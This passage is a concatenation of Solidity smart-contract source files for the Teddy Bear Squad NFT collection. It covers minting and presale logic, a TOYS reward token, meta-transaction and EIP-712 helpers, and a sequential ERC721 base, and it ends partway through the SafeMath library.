PUBLIC_MINT_LIMIT = 7; uint128 public PRESALE_MINT_LIMIT = 4; uint128 public PUBLIC_PRICE = 0.12 ether; uint128 public PRESALE_PRICE = 0.08 ether; // Start 2022/01/24 14:00:00 UTC uint256 public presaleStartTime = 1643032800; uint256 public publicStartInterval = 1 days; // @dev enforce a per-address lifetime limit based on the mintBalances mapping bool public publicWalletLimit = true; bool public isRevealed = false; string public PROVENANCE_HASH; // keccak256 mapping(address => uint256) public mintBalances; uint256 public tokenOffset; string internal baseTokenURI; address[] internal payees; address internal _SIGNER; IRewardToken public RewardToys; // opensea proxy address private immutable _proxyRegistryAddress; address private _treasury = 0x8fBc1fB5fd267aFefF5cc4e69b3ca6D41567dc01; // LINK uint256 internal LINK_FEE; bytes32 internal LINK_KEY_HASH; constructor( string memory _initialURI, bytes32 _keyHash, address _vrfCoordinator, address _linkToken, uint256 _linkFee, address proxyRegistryAddress ) payable ERC721Sequencial("Teddy Bear Squad", "TBS") Pausable() VRFConsumerBase(_vrfCoordinator, _linkToken) { _pause(); baseTokenURI = _initialURI; LINK_KEY_HASH = _keyHash; LINK_FEE = _linkFee; _proxyRegistryAddress = proxyRegistryAddress; _initializeEIP712("TeddyBearSquad"); } function purchase(uint256 _quantity) public payable nonReentrant whenNotPaused { require( block.timestamp >= presaleStartTime + publicStartInterval, "Presale only." ); require( _quantity <= PUBLIC_MINT_LIMIT, "Quantity exceeds PUBLIC_MINT_LIMIT" ); require(_quantity * PUBLIC_PRICE <= msg.value, "Not enough minerals"); if (publicWalletLimit) { require( _quantity + mintBalances[msg.sender] <= PUBLIC_MINT_LIMIT, "Quantity exceeds per-wallet limit" ); } _mint(_quantity); } function presalePurchase( uint256 _quantity, bytes32 _hash, bytes memory _signature ) external payable nonReentrant whenNotPaused { require(block.timestamp >= presaleStartTime, "Presale has not started"); require( checkHash(_hash, _signature, _SIGNER), "Address is not on Presale List" ); /// @dev Presale always enforces a per-wallet limit require( _quantity + mintBalances[msg.sender] <= PRESALE_MINT_LIMIT, "Quantity exceeds per-wallet limit" ); require(_quantity * PRESALE_PRICE <= msg.value, "Not enough minerals"); _mint(_quantity); } function _mint(uint256 _quantity) internal { require( _quantity + _owners.length <= PUBLIC_SUPPLY, "Purchase exceeds available supply" ); for (uint256 i = 0; i < _quantity; i++) { _safeMint(msg.sender); } RewardToys.updateReward(address(0), msg.sender); mintBalances[msg.sender] += _quantity; } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), '"ERC721Metadata: tokenId does not exist"'); return string(abi.encodePacked(baseTokenURI, tokenId.toString())); } function senderMessageHash() internal view returns (bytes32) { bytes32 message = keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked(address(this), msg.sender)) ) ); return message; } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts * to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { // whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(_proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } function checkHash( bytes32 _hash, bytes memory signature, address _account ) internal view returns (bool) { bytes32 senderHash = senderMessageHash(); if (senderHash != _hash) { return false; } return _hash.recover(signature) == _account; } function transferFrom( address _from, address _to, uint256 _tokenId ) public override { RewardToys.updateReward(_from, address(0)); ERC721Sequencial.transferFrom(_from, _to, _tokenId); } function safeTransferFrom( address _from, address _to, uint256 _tokenId ) public override { RewardToys.updateReward(_from, address(0)); ERC721Sequencial.safeTransferFrom(_from, _to, _tokenId); } function currentPrice() external view returns (uint256) { return block.timestamp <= (presaleStartTime + publicStartInterval) ? PRESALE_PRICE : PUBLIC_PRICE; } // 。☆✼★━━━━━━━━ ( ˘▽˘)っ♨ only owner ━━━━━━━━━━━━━★✼☆。 function setSigner(address _address) external onlyOwner { _SIGNER = _address; } function setRewardTokenAddress(address _rAddress) external onlyOwner { RewardToys = IRewardToken(_rAddress); } /// @dev gift a single token to each address passed in through calldata /// @param _recipients Array of addresses to send a single token to function gift(address[] calldata _recipients) external onlyOwner { uint256 recipients = _recipients.length; require( recipients + _owners.length <= MAX_SUPPLY, "_quantity exceeds supply" ); for (uint256 i = 0; i < recipients; i++) { _safeMint(_recipients[i]); RewardToys.updateReward(address(0), _recipients[i]); } } function setPaused(bool _state) external onlyOwner { _state ? _pause() : _unpause(); } function setWalletLimit(bool _state) external onlyOwner { publicWalletLimit = _state; } function setTokenOffset() public onlyOwner { require(tokenOffset == 0, "Offset is already set"); requestRandomness(LINK_KEY_HASH, LINK_FEE); } // @dev chainlink callback function for requestRandomness function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { tokenOffset = randomness % MAX_SUPPLY; } function setProvenance(string memory _provenance) external onlyOwner { PROVENANCE_HASH = _provenance; } function setReveal(bool _state) external onlyOwner { isRevealed = _state; } function setBaseURI(string memory _URI) external onlyOwner { baseTokenURI = _URI; } // @dev: blockchain is forever, you never know, you might need these... function setPresalePrice(uint128 _price) external onlyOwner { PRESALE_PRICE = _price; } function setPublicPrice(uint128 _price) external onlyOwner { PUBLIC_PRICE = _price; } function setPublicLimit(uint128 _limit) external onlyOwner { PUBLIC_MINT_LIMIT = _limit; } function setPublicSuppy(uint128 _limit) external onlyOwner { PUBLIC_SUPPLY = _limit; } function setPresaleStartTime(uint256 _time) external onlyOwner { presaleStartTime = _time; } function withdraw() external onlyOwner { (bool success, ) = _treasury.call{value: address(this).balance}(""); require(success, "Failed to send to vault."); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; // ,--------.,------.,------. ,------.,--. ,--. // '--. .--'| .---'| .-. \ | .-. \\ `.' / // | | | `--, | | \ :| | \ :'. / // | | | `---.| '--' /| '--' / | | // `--' `------'`-------' `-------' `--' // ,-----. ,------. ,---. ,------. // | |) /_ | .---' / O \ | .--. ' // | .-. \| `--, | .-. || '--'.' // | '--' /| `---.| | | || |\ \ // `------' `------'`--' `--'`--' '--' // ,---. ,-----. ,--. ,--. ,---. ,------. // ' .-' ' .-. ' | | | | / O \ | .-. \ // `. `-. | | | | | | | || .-. || | \ : // .-' |' '-' '-.' '-' '| | | || '--' / // `-----' `-----'--' `-----' `--' `--'`-------' // // _ _______ ______ _______ // | |__ __/ __ \ \ / / ____| // / __) | | | | | \ \_/ / (___ // \__ \ | | | | | |\ / \___ \ // ( / | | | |__| | | | ____) | // |_| |_| \____/ |_| |_____/ // @nftchef import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol"; interface iCoreContract { function balanceOf(address owner) external view returns (uint256); } contract RewardToken is ERC20, ERC20Pausable, ERC20Burnable, Ownable { // @dev: deployed erc721 contract of NFT's earning rewards iCoreContract public CoreToken; uint256 public constant REWARD_RATE = 10 ether; // 10 year supply uint256 private immutable _cap = 365336530 ether; mapping(address => uint256) public rewards; mapping(address => uint256) public lastClaimed; mapping(address => bool) public accessAddresses; event RewardClaimed(address indexed user, uint256 reward); constructor(address _coreContractAddress) ERC20("Teddy Bear Squad Toys", "TOYS") { /// @dev: Initialize the erc721 contract CoreToken = iCoreContract(_coreContractAddress); } // Only callable by the erc721 contract on mint/transferFrom/safeTransferFrom. // Updates reward amount and last claimed timestamp function updateReward(address from, address to) external { require(msg.sender == address(CoreToken)); if (from != address(0)) { rewards[from] += getPendingReward(from); lastClaimed[from] = block.timestamp; } if (to != address(0)) { rewards[to] += getPendingReward(to); lastClaimed[to] = block.timestamp; } } function claimReward() external whenNotPaused { uint256 claimable = rewards[msg.sender] + getPendingReward(msg.sender); require( ERC20.totalSupply() + claimable <= cap(), "ERC20Capped: cap exceeded" ); _mint(msg.sender, claimable); emit RewardClaimed(msg.sender, claimable); /// @dev: reset the state of a users claimed state and last claimed rewards[msg.sender] = 0; lastClaimed[msg.sender] = block.timestamp; } function getTotalClaimable(address user) external view returns (uint256) { return rewards[user] + getPendingReward(user); } function blocktime() public returns (uint256) { return block.timestamp; } function getPendingReward(address _user) internal view returns (uint256) { return (CoreToken.balanceOf(_user) * REWARD_RATE * (block.timestamp - ( lastClaimed[_user] > 0 ? lastClaimed[_user] : block.timestamp ))) / 1 days; } // @dev: Allow the main contract to burn tokens when 'spending' function spend(address user, uint256 amount) external { require( accessAddresses[msg.sender] || msg.sender == address(CoreToken), "Address does not have permission to burn" ); _burn(user, amount); } /** * @dev Required override */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal override(ERC20, ERC20Pausable) whenNotPaused { super._beforeTokenTransfer(from, to, amount); } /** * @dev Returns the cap on the token's total supply. */ function cap() public view virtual returns (uint256) { return _cap; } // 。☆✼★━━━━━━━━ ( ˘▽˘)っ♨ only owner ━━━━━━━━━━━━━★✼☆。 function setAccessAddresses(address _address, bool _access) external onlyOwner { accessAddresses[_address] = _access; } function setCoreAddress(address _address) external onlyOwner { CoreToken = iCoreContract(_address); } function togglePaused() external onlyOwner { paused() ? _unpause() : _pause(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {SafeMath} from "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {EIP712Base} from "./EIP712Base.sol"; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, payable(msg.sender), functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Initializable} from "./Initializable.sol"; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string public constant ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contracts that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712(string memory name) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public view returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = payable(msg.sender); } return sender; } } // SPDX-License-Identifier: MIT // Forked from: OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; //------------------------------------------------------------------------------ // geneticchain.io - NextGen Generative NFT Platform //------------------------------------------------------------------------------ // _______ __ __ ______ __ __ // | __|-----.-----.-----| |_|__|----. | | |--.---.-|__|-----. // | | | -__| | -__| _| | __| | ---| | _ | | | // |_______|_____|__|__|_____|____|__|____| |______|__|__|___._|__|__|__| // //------------------------------------------------------------------------------ // Genetic Chain: ERC721Sequencial //------------------------------------------------------------------------------ // Author: papaver (@tronicdreams) //------------------------------------------------------------------------------ import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721 * [ERC721] Non-Fungible Token Standard * * This implmentation of ERC721 assumes sequencial token creation to provide * efficient minting. Storage for balance are no longer required reducing * gas significantly. This comes at the price of calculating the balance by * iterating through the entire array. The balanceOf function should NOT * be used inside a contract. Gas usage will explode as the size of tokens * increase. A convineiance function is provided which returns the entire * list of owners whose index maps tokenIds to thier owners. Zero addresses * indicate burned tokens. * */ contract ERC721Sequencial is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address address[] _owners; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256 balance) { require(owner != address(0), "ERC721: balance query for the zero address"); unchecked { uint256 length = _owners.length; for (uint256 i = 0; i < length; ++i) { if (_owners[i] == owner) { ++balance; } } } } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: owner query for nonexistent token"); address owner = _owners[tokenId]; return owner; } /** * @dev Returns entire list of owner enumerated by thier tokenIds. Burned tokens * will have a zero address. */ function owners() public view returns (address[] memory) { address[] memory owners_ = _owners; return owners_; } /** * @dev Return largest tokenId minted. */ function maxTokenId() public view returns (uint256) { return _owners.length > 0 ? _owners.length - 1 : 0; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Sequencial.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return tokenId < _owners.length && _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Sequencial.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to) internal virtual returns (uint256 tokenId) { tokenId = _safeMint(to, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, bytes memory _data ) internal virtual returns (uint256 tokenId) { tokenId = _mint(to); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to) internal virtual returns (uint256 tokenId) { require(to != address(0), "ERC721: mint to the zero address"); tokenId = _owners.length; _beforeTokenTransfer(address(0), to, tokenId); _owners.push(to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Sequencial.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721Sequencial.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Sequencial.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; //------------------------------------------------------------------------------ // geneticchain.io - NextGen Generative NFT Platform //------------------------------------------------------------------------------ // _______ __ __ ______ __ __ // | __|-----.-----.-----| |_|__|----. | | |--.---.-|__|-----. // | | | -__| | -__| _| | __| | ---| | _ | | | // |_______|_____|__|__|_____|____|__|____| |______|__|__|___._|__|__|__| // //------------------------------------------------------------------------------ // Genetic Chain: ERC721SeqEnumerable //------------------------------------------------------------------------------ // Author: papaver (@tronicdreams) //------------------------------------------------------------------------------ import "./ERC721Sequencial.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; /** * @dev This is a no storage implemntation of the optional extension {ERC721} * defined in the EIP that adds enumerability of all the token ids in the * contract as well as all token ids owned by each account. These functions * are mainly for convienence and should NEVER be called from inside a * contract on the chain. */ abstract contract ERC721SeqEnumerable is ERC721Sequencial, IERC721Enumerable { address constant zero = address(0); /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721Sequencial) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256 tokenId) { uint256 length = _owners.length; unchecked { for (; tokenId < length; ++tokenId) { if (_owners[tokenId] == owner) { if (index-- == 0) { break; } } } } require( tokenId < length, "ERC721Enumerable: owner index out of bounds" ); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256 supply) { unchecked { uint256 length = _owners.length; for (uint256 tokenId = 0; tokenId < length; ++tokenId) { if (_owners[tokenId] != zero) { ++supply; } } } } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256 tokenId) { uint256 length = _owners.length; unchecked { for (; tokenId < length; ++tokenId) { if (_owners[tokenId] != zero) { if (index-- == 0) { break; } } } } require( tokenId < length, "ERC721Enumerable: global index out of bounds" ); } /** * @dev Get all tokens owned by owner. */ function ownerTokens(address owner) public view returns (uint256[] memory) { uint256 tokenCount = ERC721Sequencial.balanceOf(owner); require(tokenCount != 0, "ERC721Enumerable: owner owns no tokens"); uint256 length = _owners.length; uint256[] memory tokenIds = new uint256[](tokenCount); unchecked { uint256 i = 0; for (uint256 tokenId = 0; tokenId < length; ++tokenId) { if (_owners[tokenId] == owner) { tokenIds[i++] = tokenId; } } } return tokenIds; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor 